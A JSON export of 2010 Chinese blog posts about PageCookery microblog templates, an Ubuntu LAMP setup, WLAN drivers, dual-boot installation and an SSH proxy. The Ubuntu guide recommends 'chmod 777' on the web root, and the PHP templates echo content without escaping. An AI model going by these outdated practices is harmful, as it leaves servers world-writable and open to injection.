id=\u0026#34;entry-\u0026lt;?php echo $i;?\u0026gt;\u0026#34; class=\u0026#34;entry\u0026#34;\u0026gt; \u0026lt;?php echo $xml-\u0026gt;channel-\u0026gt;item[$i]-\u0026gt;description;?\u0026gt;\u0026lt;span class=\u0026#34;entry-meta\u0026#34; id=\u0026#34;entry-meta\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;\u0026lt;?php echo $xml-\u0026gt;channel-\u0026gt;item[$i]-\u0026gt;link; ?\u0026gt;\u0026#34;\u0026gt;\u0026lt;?php echo $xml-\u0026gt;channel-\u0026gt;item[$i]-\u0026gt;title;?\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/li\u0026gt; \u0026lt;?php }?\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt;\u0026lt;!-- end #content--\u0026gt; \u0026lt;?php get_sidebar(); ?\u0026gt; \u0026lt;?php get_footer(); ?\u0026gt; 然后在WP后台添加新页面，在高级选项的自定义模板中选择刚才上传的Microblog就可以了。\n然后对于我这个模板您最后修改一下您的PageCookery的RSS输出样式。具体是将如下代码保存为rss_update.php并上传覆盖掉cron/rss_update.php文件。\n\u0026lt;?php ob_start(); $entry = $SQL-\u0026gt;RunQuery(\u0026#34;SELECT * FROM entry ORDER BY time DESC LIMIT 0, 50\u0026#34;); $title = SITE_NAME . \u0026#39; - RSS\u0026#39;; echo urldecode(\u0026#39;%3C%3Fxml+version=%221.0%22+encoding=%22utf-8%22%3F%3E\u0026#39;); ?\u0026gt;\u0026lt;rss version=\u0026#34;2.0\u0026#34;\u0026gt; \u0026lt;channel\u0026gt; \u0026lt;title\u0026gt;\u0026lt;?php echo $title; ?\u0026gt;\u0026lt;/title\u0026gt; \u0026lt;link\u0026gt;\u0026lt;?php echo BASE_URL; ?\u0026gt;\u0026lt;/link\u0026gt; \u0026lt;description\u0026gt;Powered by PageCookery Microblog v\u0026lt;?php echo $pcm_version; ?\u0026gt; Build \u0026lt;?php echo $pcm_build; ?\u0026gt;\u0026lt;/description\u0026gt; \u0026lt;language\u0026gt;zh\u0026lt;/language\u0026gt; \u0026lt;?php while ($item = $SQL-\u0026gt;FetchArray($entry)) { ?\u0026gt; \u0026lt;item\u0026gt; \u0026lt;title\u0026gt;\u0026lt;?php echo Format::Time($item[\u0026#39;time\u0026#39;], 1); ?\u0026gt; 来自 \u0026lt;?php echo $item[\u0026#39;from\u0026#39;]; ?\u0026gt;\u0026lt;/title\u0026gt; \u0026lt;link\u0026gt;\u0026lt;?php echo BASE_URL; ?\u0026gt;?act=view\u0026amp;amp;id=\u0026lt;?php echo $item[\u0026#39;id\u0026#39;]; ?\u0026gt;\u0026lt;/link\u0026gt; \u0026lt;description\u0026gt;\u0026lt; ![CDATA[\u0026lt;?php echo $item[\u0026#39;content\u0026#39;]; ?\u0026gt; \u0026lt;?php $item[\u0026#39;picture\u0026#39;] = $SQL-\u0026gt;QueryRowsArray(\u0026#34;SELECT * FROM picture WHERE entryid = \u0026#34; . $item[\u0026#39;id\u0026#39;]); ?\u0026gt; \u0026lt;?php if ($item[\u0026#39;picture\u0026#39;][\u0026#39;id\u0026#39;]) { ?\u0026gt; \u0026lt;p class=\u0026#34;image\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;\u0026lt;?php echo get_picture_url($item[\u0026#39;picture\u0026#39;][\u0026#39;id\u0026#39;], \u0026#39;o\u0026#39;); ?\u0026gt;\u0026#34; title=\u0026#34;\u0026lt;?php echo $item[\u0026#39;picture\u0026#39;][\u0026#39;filename\u0026#39;]; ?\u0026gt;\u0026#34;\u0026gt;\u0026lt;img src=\u0026#34;\u0026lt;?php echo get_picture_url($item[\u0026#39;picture\u0026#39;][\u0026#39;id\u0026#39;], \u0026#39;m\u0026#39;); ?/\u0026gt;\u0026#34; alt=\u0026#34;\u0026lt;?php echo $item[\u0026#39;picture\u0026#39;][\u0026#39;filename\u0026#39;]; ?\u0026gt;\u0026#34; /\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;?php } ?\u0026gt;]]\u0026gt;\u0026lt;/description\u0026gt; \u0026lt;pubdate\u0026gt;\u0026lt;?php echo Format::Date($item[\u0026#39;time\u0026#39;], \u0026#39;D, j M Y H:i:s\u0026#39; , 0); ?\u0026gt; +0000\u0026lt;/pubdate\u0026gt; \u0026lt;/item\u0026gt; \u0026lt;?php } ?\u0026gt; \u0026lt;/channel\u0026gt; \u0026lt;/rss\u0026gt; \u0026lt;?php $data = ob_get_contents(); ob_end_clean(); file_put_contents(\u0026#39;rss.xml\u0026#39;, $data); 最后附上我的样式表，复制下列代码到WP当前主题的style.css中即可。\n.pagecookery_list { list-style-type:disc; font-size:14px; color:#666666; line-height:1.7; font-family:Georgia,Times,\u0026#34;Times New Roman\u0026#34;,serif; } .pagecookery_list li { border-bottom:1px dashed #CCCCCC; list-style-type:none; padding:5px 0; margin:0; } .pagecookery_list li:hover { background:none repeat scroll 0 0 #E7E7E7; } .pagecookery_list li img { width:100px; } .pagecookery_list a { color:#999999; } .entry-meta { background:url(\u0026#34;https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fstorage.live.com%2Fitems%2F8AAEE749DE3922BE!558%3Ffilename%3Ddigu-time.png\u0026#34;) no-repeat scroll 0 0 transparent; padding:0 0 0 19px; } .entry-meta a { border-bottom:none; } .entry-meta a:hover { color:#FF6633; } #panel { text-align:right; } #panel:hover { background:none; } #panel a { border:none; padding:2px 5px; } #panel a:hover { color:#FF6633; background:none repeat scroll 0 0 #E7E7E7; } ","count":742,"date":"2010年10月18日","featuredImage":null,"permalink":"https://imnerd.org/pagecookery-theme.html","summary":"\u003cp\u003e论坛有人问能否做一个显示微博的单页面，之前我写过一个Typecho的，现在特地转到WP中来。\u003c/p\u003e\u003cp\u003e\r\n\u003c/p\u003e\u003cp\u003e复制一下代码命名为microblog.php上传到你当前主题文件夹中\u003c/p\u003e","time":2,"title":"显示PC的最近消息模板"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":" 以前一直都是使用Xampp在Ubuntu中配置PHP环境的，这次决定自己来安装一下。试了一下，效果还不错哦！\n打开终端，输入\nsudo apt-get install apache2\n安装好apache后继续安装php，在终端中输入\nsudo apt-get install php5\n安装好php之后我们继续安装MySQL，同样在终端输入\nsudo apt-get install mysql-server my sql-client\n中途会让你输入root的密码哦！安装好MySQL后，我们要把MySQL和php以及apache关联起来，在终端中输入\nsudo apt-get install libapache2-mod-auth-mysql\nsudo apt-get install php5-mysql\n最后重启一下apache就完成了基本的配置啦！在终端中输入\nsudo /etc/init.d/apache2 restart\n环境配置好了，大家只要把下载下来的程序解压放到/var/www/里就可以访问了哦，但是大家会发现图形界面无法复制东西到/var/ww/里面，提示权限不足。这时我们就好去修改当前用户对/var/ww/文件夹的权限。在终端中输入\nsudo chmod 777 /var/www/\n这样就可以复制过去咯！这里做好之后我们还要下载一个MySQL的管理程序，一般是使用phpmyadmin啦！下载解压后放到/var/www/中（注意改下文件夹的名字），在浏览器中输入\u0026quot;http://localhost/phpmyadmin\u0026ldquo;或者\u0026rdquo;http://127.0.0.1/phpmyadmin\u0026ldquo;就可以对MySQL进行管理了。\n配置到这里安装一般的PHP程序是没有什么问题了，但是我在用的PageCookery程序需要使用PHP的CURL库，所以我们必须还要安装CURL库。在终端中输入\nsudo apt-get install curl\n然后是重启apache服务\nsudo /etc/init.d/apache2 restart\n你会发现PageCookery资料中的嘀咕帐号已经可以填写了。\n","count":658,"date":"2010年10月15日","featuredImage":null,"permalink":"https://imnerd.org/install-php-in-ubuntu.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#385041\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e以前一直都是使用Xampp在Ubuntu中配置PHP环境的，这次决定自己来安装一下。试了一下，效果还不错哦！\u003c/p\u003e\n\u003cp\u003e打开终端，输入\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003esudo apt-get install apache2\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e安装好apache后继续安装php，在终端中输入\u003c/p\u003e","time":2,"title":"Ubuntu配置PHP+MySQL+Apache"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" 上篇说道我听从@fanzheyi同学的建议，在本子上安装Ubuntu，但是发现还是无法识别WLAN信号。在无数次辗转于Windows和Ubuntu后终于知道应该怎么做了。\n其实简单的说就是你必须先利用有线上网后去搜索硬件驱动然后安装上之后就可以用WLAN上网啦！如果无法利用除了WLAN其它办法上网的话，我暂时也没办法了。有空我看能不能把那个驱动给提取出来，放出来给同学们下载！～～\n接好有线之后，在终端中输入\u0026quot;sudo pppoeconf\u0026quot;输入你的帐号和密码成功连接有线。（许久没用这个命令都忘记了要怎么写了\u0026hellip;）然后选择“系统-\u0026gt;管理-\u0026gt;硬件驱动”，待它搜索片刻后会出现本机需要安装的特有驱动，其中针对BCM4312的驱动有两个，安装前一个就可以了。安装好后就可以不需要有线啦，这是你就可以发现WLAN信号已经能搜索到咯！下面大家就可以在Ubuntu中享受冲浪咯～\n","count":403,"date":"2010年10月15日","featuredImage":null,"permalink":"https://imnerd.org/ubuntu-cant-recognise-wlan.html","summary":"\u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#86165\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e\n\u003cp\u003e上篇说道我听从@fanzheyi同学的建议，在本子上安装Ubuntu，但是发现还是无法识别WLAN信号。在无数次辗转于Windows和Ubuntu后终于知道应该怎么做了。\u003c/p\u003e","time":1,"title":"BCM4312解决Ubuntu无线上网问题"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":" 自从Ubuntu10.10出来以后，一直都很想装上试一下。但是因为我现在是用WLAN，而VMware中Ubuntu总是不能共享连接，所以我的虚拟机中安装的还是9.04，尴尬\u0026hellip;并且Ubuntu这东西比Windows还要依赖网络，没有网络完全无法体验到Ubuntu的精彩。在以“Ubuntu 无线 VMware”为关键词多方打探未果后，@fanzheyi同学跟我说在实体机上是没有这个问题出现的，于是我就下定决心要在本子上装一次。\n如果要装的话毫无疑问会选择Wubi安装的，因为直接安装会覆盖Windows的bootmgr，而Ubuntu的Grub那是无比的难看，这是我不能忍受的。确定安装方式后那么问题又来了，因为我的Windows 7一直使用的是PcSky的破解程序，想来应该有一年半了吧。这个破解程序是通过修改Windows的启动项跳过验证来破解的，然而Wubi必须要重新写一遍Widows的启动项才能进入Ubuntu。这样的话就会覆盖破解程序，更厉害的是PCSky的那个破解程序貌似是把bootmgr设置成了不可写状态，要不然就是一检测到bootmgr有更改就立即还原，反正就是Wubi的启动项写不进去啦！然而手动编写bootmgr这么有技术含量的活儿我又不会，尴尬！\n哈哈，不知道有多少人记得我买了一套正版的Windows?（尴尬，上次数据回滚把相关日志给删除了\u0026hellip;）既然是破解的问题，那么我就重装用正版的不就行了。正好之前的系统中我总是不能安装MAPGIS，每次都要开XP Mode，很麻烦的说！所有的问题都解决后，准备刻(U)盘重装！当然，之前要先把重要的东西给备份出来，怕麻烦的我就直接把“我的文档”给全部拷贝下来了，然后给Programe Files来了张截屏，嘿嘿！不会用U盘安装系统的可以参考这里。这个过程中比较郁闷，貌似是我的U盘的问题，安装总是失败，还好向老衲蹭了个U盘来用，一会儿就好啦！话说，老衲真有钱，16GB的金士顿啊！\n安装Windows没有问题，注册也成功了。下面就是Wubi安装Ubuntu了，这个过程也很简单。不过在安装之前，我建议大家先用虚拟光驱将Ubuntu的镜像挂载一下，虚拟光驱推荐UltraISO。等待片刻Wubi就会提示你重启继续完成安装，重启启动项选择Ubuntu就可以继续完成安装啦！\n到此为止，本子上的Windows和Ubuntu就完美的安装好啦！\n","count":1006,"date":"2010年10月15日","featuredImage":null,"permalink":"https://imnerd.org/install-windows-7-pressional---ubuntu-10-10.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#143408\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e自从Ubuntu10.10出来以后，一直都很想装上试一下。但是因为我现在是用WLAN，而VMware中Ubuntu总是不能共享连接，所以我的虚拟机中安装的还是9.04，尴尬\u0026hellip;并且Ubuntu这东西比Windows还要依赖网络，没有网络完全无法体验到Ubuntu的精彩。在以“Ubuntu 无线 VMware”为关键词多方打探未果后，@fanzheyi同学跟我说在实体机上是没有这个问题出现的，于是我就下定决心要在本子上装一次。\u003c/p\u003e","time":3,"title":"没事装装系统"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":" 2010年10月10日，真是个好日子啊！分别在01点10分和10点10分记录了一下，呵呵，扣扣上有人说今天是代码日哦！\n昨天做岩心编录，因为我没有学过，也不愿意去看，结果我就是彻底的打了一回酱油，全权交给邓和钟啦！不过貌似他俩的效率不怎么高诶，人家都搞完了，他们也只才搞了一盒多点\u0026hellip;老师有规定我们要在两个小时之内完成任务的。两个小时过后老师下来检查发现我们做的是一塌糊涂，乱七八糟的，就劈头大骂了我们一通。时间不早了就让我们先去吃饭了，晚上写好后再交给他！晚上邓在那里话柱状图，但因为回次的编写不是他，所以显得有点力不从心。钟又不愿意画，我又不懂，所以显得非常尴尬！\n草草了事后就交给老师检查了。毫无疑问被老师狗血喷头的大骂了一遍，一直从8:30骂到10:37..而且王老师还特别的抠你字眼，只要说错了一句都会被他念叨上半天。不过我觉得王老师有一句话讲的特别的好：如果连我这么抠你们字眼你们都还记不住的话，那你们怎么能行呢？其中讲的不无道理。\n另外就是上篇文章说的电脑包到啦！尴尬的是我第一次在晚上去拿包裹诶。小声嘀咕一下，震旦楼的信号还真是差啊。在楼里我的电话总是听不到对方讲话，跑到塑胶篮球场那边就行。圆通快递是真的不行，网上的物流信息半年都不跟新，我都收到货了，它那里还是在某个遥远的地方扫描。而且圆通的保管物品有问题，我的电脑包是用一个空箱子装着的，我拿的时候空箱子已经凹下去很多了。而且我在胶袋封口的地方似乎发现胶带的裂口，似乎是有人撕开过一样。种种事迹让我再也不敢信任圆通快递了，看样子以后网购的时候还要多加一个快递条件了。\n这些天除了上课还是上课，好多正事都忘啦。而且这些天想折腾网站的欲望也不是那么强烈，没什么新/好点子冒出来，没有什么目标了\u0026hellip;\n","count":740,"date":"2010年10月10日","featuredImage":null,"permalink":"https://imnerd.org/10-10.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1769292418\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e2010年10月10日，真是个好日子啊！分别在\u003ca href=\"http://pagecookery.net/?act=view\u0026amp;id=1767\"\u003e01点10分\u003c/a\u003e和\u003ca href=\"http://pagecookery.net/?act=view\u0026amp;id=1768\"\u003e10点10分\u003c/a\u003e记录了一下，呵呵，扣扣上有人说今天是代码日哦！\u003c/p\u003e\n\u003cp\u003e昨天做岩心编录，因为我没有学过，也不愿意去看，结果我就是彻底的打了一回酱油，全权交给邓和钟啦！不过貌似他俩的效率不怎么高诶，人家都搞完了，他们也只才搞了一盒多点\u0026hellip;老师有规定我们要在两个小时之内完成任务的。两个小时过后老师下来检查发现我们做的是一塌糊涂，乱七八糟的，就劈头大骂了我们一通。时间不早了就让我们先去吃饭了，晚上写好后再交给他！晚上邓在那里话柱状图，但因为回次的编写不是他，所以显得有点力不从心。钟又不愿意画，我又不懂，所以显得非常尴尬！\u003c/p\u003e","time":2,"title":"当N个10聚集时"},{"comments":{"data":[3],"errmsg":"","errno":0},"contents":" 尴尬，最近PageCookery不知道怎么搞的，老出问题，明明没对它动手动脚么\u0026hellip;前几天就是RSS导入不得，现在又是好端端的用户密码错误。没办法，我就按照老办法来，删除user表然后就可以重新安装了。但没想到新版重新安装居然把我其他的表也给重装了，搞得我灰常的尴尬\u0026hellip;\n不过还好这两天没做什么大动作，虽然有三篇日志没了，但是两篇技术文的代码都放在gist里，应该回复不难.评论的话也就两三条评论没了。PageCookery那边回滚后仍旧少了两条消息，好在我当时还一直开着那个RSS页面，消息最终给我倒进去了，同时也少了五条评论。吃一堑长一智，以后记得一定要备份数据库！\n话说今天突然兴起上网去买了一个包包，把地址发给女人问她觉得怎么样。结果她一下也看中了，非嚷着要买。然后我们俩就一起买了，问题是还都选了一个颜色..一个颜色..一个颜色..而且还是蓝色的，我想我俩并肩走在大街上一定能刺瞎很多的狗眼，咩哈哈哈哈啊哈！\n附上包包的图，个人感觉还不错哦～\n","count":434,"date":"2010年10月07日","featuredImage":null,"permalink":"https://imnerd.org/data-back-up.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#2083186\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e尴尬，最近PageCookery不知道怎么搞的，老出问题，明明没对它动手动脚么\u0026hellip;前几天就是RSS导入不得，现在又是好端端的用户密码错误。没办法，我就按照老办法来，删除user表然后就可以重新安装了。但没想到新版重新安装居然把我其他的表也给重装了，搞得我灰常的尴尬\u0026hellip;\u003c/p\u003e","time":1,"title":"尴尬的数据回滚"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"PS:本来是自己写了一篇的，但是因为数据回滚了，也就懒的再写了，就转载Leo@Paradox这位同学的文章，讲解的很详细哦！\n寻找一台支持SSH并且在长城外的主机。\n这里如果自己有网站的朋友们，可以选择自己的主机。对于没有的朋友们，我们就是用免费的主机好了。在这里http://www.freewebspace.net/free/AdvSearchR/1/22 和 http://www.free-webhosts.com/search-webhosts.php?SA=cPanel 只要没有被封拿来注册就能用。我介绍一下我正在使用的主机http://www.xjwebs.com/ 这个免费的套餐是5G的空间，10G的月流量，SSH流量不计入月流量。我们还可以搭建Twitter的代理来给不会跨越的朋友们使用，多好啊！\n注册好了账号之后，进入cPanel的后台，在左侧，寻找Shared Ip Address，这个即为SSH的服务器地址；点击FTP Accounts，随便找个FTP账户点后面的Configure FTP Client；记下SFTP Server Port: 这个就是被修改后的SSH端口。 MyEnTunnel的设置\n我们需要一个叫MyEnTunnel的小软件,猛击此处下载，解压后，运行”myentunnel”，切换到“设置”选项卡，按照下图设置即可：\nMyEnTunnel\n需要注意的是：“SSH服务器”，“用户名”，“密码短语”以及“SSH端口”都是刚才cPanel后台查询到的。注意，这里需要把“端口”修改为SSH默认的7070.信息都填写完毕后,点击”保存”, MyEnTunnel就会将配置保存到当前目录的一个配置文件中.点击左下角的”连接”或者”断开”即可连接你的SSH服务器，当连接成功后，MyEnTunne的图标会由黄色变为绿色，这个时候你就可以使用127.0.0.1:7070的本地代理端口上网了。点击“隐藏”，就可以将它隐藏到系统托盘,不会占用你的任务栏。 Firefox的设置\n我们需要Firefox浏览器，猛击此处下载；再用Firefox访问Autoproxy扩展官网，猛击此处，安装。\n安装好后可以看见一个大大的“福”，点击“代理服务器”——“编辑代理服务器”如下图设置即可：\nsetting\n再点击“代理服务器”——“选择代理服务器”，如下图设置即可：\nsetting2\n好了，点击“确定”就设置完了，如果你打开了AutoProxy后发现还是有些网站被墙了怎么办？解决办法：在“AutoProxy首选项”中,打开”代理规则”,选择“添加规则”，输入网址后点击确定即可。当然，“AutoProxy”还有其他一些个性化的设置,如显示位置什么的，就不再多做说明了。 其他浏览器\n这里有@wordpace给出的Linux下的设置，欢迎大家围观啊~~~\nhttp://wordpace.com/network-freedom-notes-of-ssh/\n","count":1077,"date":"2010年10月05日","featuredImage":null,"permalink":"https://imnerd.org/ssh.html","summary":"\u003cp\u003ePS:本来是自己写了一篇的，但是因为数据回滚了，也就懒的再写了，就转载\u003ca href=\"http://www.paradoxleo.com/ssh-to-make-the-world-at-your-fingertips-gift-accounts/\"\u003eLeo@Paradox\u003c/a\u003e这位同学的文章，讲解的很详细哦！\u003c/p\u003e\n\u003cp\u003e寻找一台支持SSH并且在长城外的主机。\u003c/p\u003e\n\u003cp\u003e这里如果自己有网站的朋友们，可以选择自己的主机。对于没有的朋友们，我们就是用免费的主机好了。在这里http://www.freewebspace.net/free/AdvSearchR/1/22 和 \u003ca href=\"http://www.free-webhosts.com/search-webhosts.php?SA=cPanel\"\u003ehttp://www.free-webhosts.com/search-webhosts.php?SA=cPanel\u003c/a\u003e 只要没有被封拿来注册就能用。我介绍一下我正在使用的主机http://www.xjwebs.com/ 这个免费的套餐是5G的空间，10G的月流量，SSH流量不计入月流量。我们还可以搭建Twitter的代理来给不会跨越的朋友们使用，多好啊！\u003c/p\u003e","time":3,"title":"SSH代理设置[详]"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":" 今天思考了下typecho如何调用PageCookery消息的问题，想想以前也是提出过很多种方法的。（见\u0026lt;a href=\u0026ldquo;http://imnerd.org/make-a-pagecookery-widget-for-your-blog.html\u0026quot;target=\u0026quot;_blank\u0026quot;\u0026gt;传送门）fetch的只适合WP而站外的我又不是很想用，所以思前想后，我还是用了这个比较老的办法。（见\u0026lt;a href=\u0026ldquo;http://imnerd.org/trackback-microblogs-newest-message.html\u0026quot;target=\u0026quot;_blank\u0026quot;\u0026gt;传送门）优点是同步显示，基本上同步更新，缺点就是只能显示一条。下面附上在typecho的添加方法，也算是老文新翻吧。同时来看看这个代码高亮插件怎么样～～\n首先将如下代码保存为\u0026quot;api.php\u0026rdquo;，其中第3行按照后面的要求输入你的网址。然后将api.php上传到你的PageCookery根目录。确保浏览器输入\u0026quot;你的PageCookery地址\u0026rdquo;+\u0026ldquo;api.php\u0026quot;能够访问。\n然后将如下代码保存为\u0026quot;read.php\u0026rdquo;，其中第3行按照后面的要求输入你的网址。然后将read.php上传到你的typecho根目录。确保浏览器输入\u0026quot;你的typecho地址\u0026quot;+\u0026ldquo;read.php\u0026quot;能够访问。\n然后在你想要调用的位置添加上如下代码即可。比如你想在首页的侧边栏调用的话，只要打开当前主题的sidebar.php文件，并将下列代码添加上即可。\n这样就能在首页调用最新的消息了，剩下的任务就是美化了。这里我附上我的调用代码和css美化代码供大家以参考。\n/* 这个是我的css相关代码，有可能不适合你的主题，请做相应的修改 */ # twitter{ float:left; } .pagecookery{ -moz-border-radius:5px5px5px5px; background:nonerepeatscroll00#E7E7E7; margin-left:50px; padding:2px2px0; text-shadow:1px1px#FFFFFF; } .pagecookery.content{ margin-top:-20px; height:65px; overflow:hidden; } .pagecookery.data{ color:#1C94C4; font-size:10px; text-align:right; text-shadow:none; } .pagecookery.dataa{ color:#1C94C4; } ","count":861,"date":"2010年10月02日","featuredImage":null,"permalink":"https://imnerd.org/quote-latest-pagecookery-2-typecho.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1044262\"style=\"width:255px;height:35px;\"frameborder=\"0\"scrolling=\"no\"\u003e --\u003e\n\u003cp\u003e今天思考了下typecho如何调用PageCookery消息的问题，想想以前也是提出过很多种方法的。（见\u0026lt;a href=\u0026ldquo;\u003ca href=\"http://imnerd.org/make-a-pagecookery-widget-for-your-blog.html%22target=%22_blank%22%3E\"\u003ehttp://imnerd.org/make-a-pagecookery-widget-for-your-blog.html\u0026quot;target=\u0026quot;_blank\u0026quot;\u0026gt;\u003c/a\u003e传送门\u003c/a\u003e）fetch的只适合WP而站外的我又不是很想用，所以思前想后，我还是用了这个比较老的办法。（见\u0026lt;a href=\u0026ldquo;\u003ca href=\"http://imnerd.org/trackback-microblogs-newest-message.html%22target=%22_blank%22%3E\"\u003ehttp://imnerd.org/trackback-microblogs-newest-message.html\u0026quot;target=\u0026quot;_blank\u0026quot;\u0026gt;\u003c/a\u003e传送门\u003c/a\u003e）优点是同步显示，基本上同步更新，缺点就是只能显示一条。下面附上在typecho的添加方法，也算是老文新翻吧。同时来看看这个代码高亮插件怎么样～～\u003c/p\u003e\n\u003cp\u003e首先将如下代码保存为\u0026quot;api.php\u0026rdquo;，其中第3行按照后面的要求输入你的网址。然后将api.php上传到你的PageCookery根目录。确保浏览器输入\u0026quot;你的PageCookery地址\u0026rdquo;+\u0026ldquo;api.php\u0026quot;能够访问。\u003c/p\u003e","time":2,"title":"TP调用PC最新消息"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"[1g1g]You Belong with Me-Taylor Swift#playID:385629[/]\n我承认我又想要折腾了，呵呵！\n重新开了一个博客，也重新换了一个程序-typecho.本来是想给博客换个程序的，但是以前的文章导入进来之后又很多的不兼容，想想干脆就重新开始吧。\ntypecho之前也接触过，但是不是很深入，昨日把玩一下，发现还是不错的。主要是国人开发的，插件什么的也基本上是国人开发的，所以使用起来是非常的方便。而且我在博客中想要的一些功能在typecho中都能轻而易举的实现，真的是很不错哦！\n但是typecho还是有些不足的地方的，比如写文章没有编辑器，博客没有WAP网站，插件太少了等等。我想这些问题都还需要时间去解决的。希望typecho越来越好\n这篇文章就是这个站的hello world了，而且跟祖国同生哦～！哈哈！\n","count":321,"date":"2010年10月01日","featuredImage":null,"permalink":"https://imnerd.org/hello-world.html","summary":"\u003cp\u003e\u003ca href=\"#MiniPlay1g1gCode\" title=\"[1g1g]You Belong with Me-Taylor Swift#playID:385629[/]\"\u003e[1g1g]You Belong with Me-Taylor Swift#playID:385629[/]\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e我承认我又想要折腾了，呵呵！\u003c/p\u003e\n\u003cp\u003e重新开了一个博客，也重新换了一个程序-typecho.本来是想给博客换个程序的，但是以前的文章导入进来之后又很多的不兼容，想想干脆就重新开始吧。\u003c/p\u003e","time":1,"title":"重“心”开始"},{"comments":{"data":[17],"errmsg":"","errno":0},"contents":"\r友情提示：本文代码已经跟最最新版0.95做了相关的调整，并添加了检查评论网址是否带有http://的功能，欢迎广大新老用户再次测试。\n曾几何时，我在PageCookery的讨论组上看到的最多的帖子就是如何让评论能支持昵称，邮箱和网址，跟WP一样。而后@孙老四同学就慷慨的分享了他的添加文件。经过我自己的摸索，我终于也成功的添加上了富评论，特此分享出我的添加过程。大家不要看代码比较多，其实要修改的只有几行，我怕大家找不到才把前后不变的代码也弄上来了。如果是在不愿意看的，可以直接下载文末我已经修改好的程序就行～\n一、先要为数据库添加上相应的字段，这里定义记录网址和邮箱的字段名称为email和url，请记住他们的先后顺序以及名称。\n1.打开reply表的结构页面\n2.为reply表添加两个字段存放邮箱和地址\n3.最后reply表结构如图所示\n二、然后为网站加上输入框\r打开template/blog.html，将100行p标签的内容改为如下内容{如果段数不一样的可以看代码前几行查找}\r同时还要将152行的p标签改为如下内容{如果段数不一样的可以看代码前几行查找}\r这样就添加好了输入框，效果如图所示，当然因为添加了两个输入框，按钮和其它的都稍显得错位了，不急，我们先把功能添加好后再去修改样式表～\r然后我们要打开httprequest.php，找到164行，将164行替换成如下代码\r友情提醒一下，大家要在这段代码里头设置自己的昵称，网址，邮箱什么的。有些孩子没看到结果评论里头全是我的头像了T_T...另外，本人发现很多孩子写地址不喜欢在前面加上http://，没这个浏览器会自动在地址前面加上你的微博地址，所以请老四帮忙写了一个检查URL的函数，如果没有就自动加上。打开lib/function_microblog.php文件，将下列代码加到最后即可：\n然后我们还要打开javascript/global.js，将下列代码覆盖global.js此文件{等于用下面的代码替换global.js的内容}\n将这三个文件修改并保存好后，我们的功能就基本添加完毕了。然后我们要将效果显示出来，我根据博客评论的显示方法，为昵称加上了评论者的网址链接，并提供显示Gravatar头像。关于Gravatar头像的显示，大家可以参考传送门，非常的好用的说！\r我们打开template/blog.html文件，将88行的代码用如下替代{如果段数不一样的可以看代码前几行查找}\n将145行的代码用如下替换{如果段数不一样的可以看代码前几行查找}\n大家记住最后还要对template/view.html也要同template/blog.html一样进行相应的修改才行，否则在permalink和搜索页面就没有任何效果咯～打开template/view.html，将如下代码替换全部代码：\n然后我还将评论聚合页面的头像也修改成了Gravatar头像，并修正了点击评论跳转到首页的错误。大家打开template/comment.html，并用如下代码替换全文代码即可：\n然后大家对应着自己的审美要求对输入框进行相应的样式表的修改就行了。如果修改不来的也可以下载文末我已经修改好的程序。另外，文章中的代码如果与我修改的程序有什么出入的话，一切以我修改的程序为准。\n相关下载：PageCookery 0.9.5富评论修改版\r修改文件：./httprequest.php\rlib/function_microblog.php\rjavascript/global.js\rcss/style.css\rtemplate/blog.html\rtemplate/comment.html\rtemplate/view.html\r","count":1407,"date":"2010年10月01日","featuredImage":null,"permalink":"https://imnerd.org/richcomment-for-pagecookery.html","summary":"\u003cimg src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/rent-room.png\" alt=\"\" /\u003e\r\n\u003cp\u003e友情提示：本文代码已经跟最最新版0.95做了相关的调整，并添加了检查评论网址是否带有http://的功能，欢迎广大新老用户再次测试。\u003c/p\u003e\r\n\u003cp\u003e曾几何时，我在PageCookery的讨论组上看到的最多的帖子就是如何让评论能支持昵称，邮箱和网址，跟WP一样。而后@\u003ca 